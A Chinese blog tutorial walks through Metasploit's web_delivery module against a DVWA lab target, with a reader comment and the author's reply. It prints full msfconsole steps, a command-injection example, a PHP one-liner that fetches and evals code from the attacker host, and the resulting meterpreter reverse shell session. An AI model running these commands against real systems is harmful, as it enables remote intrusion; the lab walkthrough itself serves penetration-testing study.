Metasploit 脚本Web传递(Web Delivery)

Metasploit的Web Delivery Script是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。

 

此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。

 

当攻击者对系统有一定的控制权时,这种攻击成为一种非常有用的工具,但不具有完整的shell。另外,由于服务器和有效载荷都在攻击机器上,所以攻击继续进行而没有写入磁盘。这有助于保持攻击指纹低。

 

这是在Metasploitable中的Damn Vulnerable Web Application(DVWA)上执行此模块的一个示例。

 

点击左侧面板中的“DVWA Security”。将安全级别设置为“low”,然后单击“Submit”。DVWA Security

 

首先,我们检查简单的命令执行。

点击“Command Execution”。输入一个IP地址,后跟一个分号和您希望执行的命令。Command Execution

接下来,我们需要确保我们可以与攻击主机连接。由于这个特定应用的性质,这在上面得到了实现。通常,请确保ping,telnet或以其他方式调用主机。

 

现在我们可以设置必要的选项并运行漏洞利用。请注意,目标必须在有效负载之前指定。

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set TARGET 1
TARGET => 1
msf exploit(web_delivery) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.80.128
LHOST => 192.168.80.128

msf exploit(web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.80.128   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   PHP


msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.80.128:4444 
[*] Using URL: http://0.0.0.0:8080/alK3t3tt
[*] Local IP: http://192.168.80.128:8080/alK3t3tt
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.128:8080/alK3t3tt'));"

 

接下来,我们对受害者运行给定的命令:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.128:8080/alK3t3tt'));"

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.80.128:8080/alK3t3tt'));"

 

我们终于可以与metasploit中的新shell交互了。

msf exploit(web_delivery) >
[*] 192.168.80.131   web_delivery - Delivering Payload
[*] Sending stage (40499 bytes) to 192.168.80.131
[*] Meterpreter session 1 opened (192.168.80.128:4444 -> 192.168.80.131:53382) at 2016-02-06 10:27:05 -0500
msf exploit(web_delivery) > sessions -i

Active sessions
===============

  Id  Type                 Information                     Connection
  --  ----                 -----------                     ----------
  1   meterpreter php/php  www-data (33) @ metasploitable  192.168.80.128:4444 -> 192.168.80.131:53382 (192.168.80.131)

msf exploit(web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 5331 created.
Channel 0 created.
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
    A+
发布日期:2018年06月10日 00:55:35  所属分类:Metasploit
最后更新时间:2021-08-26 12:34:33
付杰
  • ¥ 818.0元
  • 市场价:1688.0元
  • ¥ 79.0元
  • 市场价:129.0元
  • ¥ 1999.9元
  • 市场价:8999元
  • ¥ 398.0元
  • 市场价:598.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:2   其中:访客  0   博主  0

  1. 头像 willWang 0

    您好,我使用的module和payload和你的都一样,也是按照kali linux2网络渗透测试实践指南上操作的,打开meterpreter session后所有命令都不能执行,ls ,pwd,shell 都提示comand Is not supported by this Meterpreter type (php/php),请问有别的需要注意的地方吗?dvwa服务的security已经设置成了low

    • 付杰 付杰

      @willWang 应该是你的操作步骤有问题,你得依次走。
      错误提示:

      comand Is not supported by this Meterpreter type (php/php)

      中文翻译

      此 Meterpreter 类型 (php/php) 不支持命令